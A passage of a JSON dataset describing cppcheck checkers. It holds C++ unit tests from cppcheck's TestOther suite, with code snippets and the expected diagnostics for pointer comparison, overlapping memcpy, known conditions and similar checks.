It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkSuspiciousCaseInSwitch.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkSuspiciousCaseInSwitch.json new file mode 100644 index 0000000..1517129 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkSuspiciousCaseInSwitch.json @@ -0,0 +1,13 @@ +{ + "name": "checkSuspiciousCaseInSwitch", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 27, + "branches": 13, + "apis": 26, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkSuspiciousSemicolon.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkSuspiciousSemicolon.json new file mode 100644 index 0000000..9612517 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkSuspiciousSemicolon.json @@ -0,0 +1,24 @@ +{ + "name": "checkSuspiciousSemicolon", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 19, + "branches": 11, + "apis": 22, + "test": [ + { + "description": null, + "expected-problems": 3, + "expected-linenumbers": [ + 9234, + 9255, + 9296 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n 